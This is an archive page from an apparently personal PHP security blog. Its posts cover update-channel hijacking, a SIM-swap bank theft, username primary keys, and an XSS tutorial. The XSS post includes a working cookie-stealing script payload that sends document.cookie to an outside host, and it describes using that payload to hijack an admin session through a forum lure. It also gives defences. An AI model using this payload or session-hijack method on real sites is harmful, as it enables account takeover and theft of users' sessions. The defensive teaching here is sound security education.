Archive for the ‘Security’ Category

Potential Security Problem with Automatic Updates

Friday, February 20th, 2009

A new trend that is occurring in a lot of new software, commercial and open source, is the ability to check for updates and install the latest version within the program itself. Now I always love this feature in software and means that I always have the latest version of the application. However the problem with these updates is that they are 100% trusted as safe from the end user and with more and more applications implementing this feature, it is only a matter of time before hackers start to attack these application to distribute their malware.

Since more independent software makers are including this feature into their applications, it wouldn’t be a stretch of the mind to think that their website has some security holes which could allow an attacker to take control of the webserver with a shell script or something similar.

Now say an attacker has uploaded a php script that takes advantage of the shell and even uses a list of php functions to help his attack. If the software is hosted on the same server, the attacker could then find out how the software checks for updates and trick the application to think that there is a new version and point the download location to where his malware is hosted. Now the end user thinks there is a new version, downloads it and now he has a virus on his machine.

With more and more applications including this feature, it would be possible to find an application that is hosted on a shared hosting environment, and even if their website has no security faults an attacker could potentially perform the same attack but was able to get his/her shell script onto the server through another website hosted on the same machine.

Now it will be interesting to see over the next couple of years to see how common this becomes, and its definitely not a stretch of the imagination that this could happen to a large company as Kaspersky was recently hacked through an sql injection on their website.

New Hacking Method

Thursday, February 5th, 2009

I watched this video the other day about a man who had 90k stolen out of his bank account. Now there is nothing new about that but the problem the hackers faced is that the commenwealth bank employ a SMS code verification system so in order for the attackers to transfer the money out they had to get the SMS code.

So what they did was transfer the man’s number over to an unknown carrier, and then transfered the money and wollah they now have the SMS code since they took control of his phone. Unfortunally there wasn’t much information about the attack, but I would have to think they would of had alot of personal information already to succesfully pull of the hack. Still it is something to think about on possiable hacking methods.

Username based primary key issues

Sunday, March 9th, 2008

ha.ckers.org have a good article about issue’s on using usernames as a primary key, which i highly agree with and believe that you should always have an increment unique id.

http://ha.ckers.org/blog/20080305/username-based-primary-key-issues/

XSS Attacks

Thursday, March 6th, 2008

First off, welcome you all to my blog and I hope to keep it updated. The main things I will be talking about is PHP and mainly the security sides of it. To give you a quick background, I have been working full time as a PHP developer in the web industry for just over 2 years, and a year prior I was at tafe doing a cert 4 in website design and a diploma in website development.

My first post will be about Cross-site Scripting (XSS) attacks, which I have had to deal with this week. XSS IS A HUGE AND DANGEROUS issue posed in any web application, which allows the attacker to inject code into your application. The most popular type of XSS attack is injecting HTML or javascript into the browser output. This is caused when the developer does not correctly sanitize their input, and prints it out to the browser. There are also more powerful XSS attacks which injects code into the actual application eg: when including a php file, you grab the file name straight from the browser, but I will not go into this because frankly if your application contains a security issue like this……..well you have chosen the wrong industry (ok, you’re learning, well I suppose your excused).

A common XSS exploit is to grab the contents of the cookies via javascript, and to email/log the results. Bellow is the vulnerable PHP code:

echo “Message: “ . $_GET[‘msg’];

As you can see, I print the input from the user straight to the browser. As an attacker, I could run this url: badfile.php?msg= <script>document.write(‘<img src=”http://visionsource.org/xssattack.php?cookie=’ + document.cookie + ‘”>’);</script>. Now that will email me the contents of the cookies of whoever visits that url. So what you’re saying? Who is ever going to go to that url? The answer is possibly you. Early this week I demonstrated this very hack which in returned allowed me access to the admin control panel of the website. How I did this was on the victim machine, I logged into the admin panel (for the specific attack, I wanted admin access) and then after I was finished in the admin area, I proceeded to the forum which an admin should be visiting since it is their site and all. I then set up a post in the forum, made a link to the made url, gave the link a creative name like “error with website, what’s wrong with it admin?” (creativity, I don’t have it).

The admin then clicked on the link, which emailed me their cookies and contained the user’s PHP Session id. I then went to my machine and changed my PHP Session id to be the value of the victims session, went to the admin panel and wollah I’m in. This is due to the victim was still logged into the admin area and I then stole their session. From here I could create some serious damage, change all the content to whatever I want, make all the pages redirect to a website of myn, anything!

This is a very basic XSS attack, but yet can still create some serious damage to the website in question. Some other forms to make the user visit the special crafted url is to put the link in an image, which automatically gets loaded some as the victim loads the page and it’s possible for the admin to not even notice the attack, giving you more time to hack the website (and more tries). Attacks like this don’t just limit to admins, but even members of the website so I can log into the profile and view pm’s, history of actions on the website etc.

To avoid these attacks, you can run the strip_tags() or htmlspecialchars() or htmlentities() function, but I suggest using a well known third party library to prevent XSS attacks. I recommend HTML Purifier which seems to be one of the best filters out in the market plus its open source.

The one thing you have to remember as a developer is never think it won’t happen to you, because it will, your business will look bad and you could even get fired!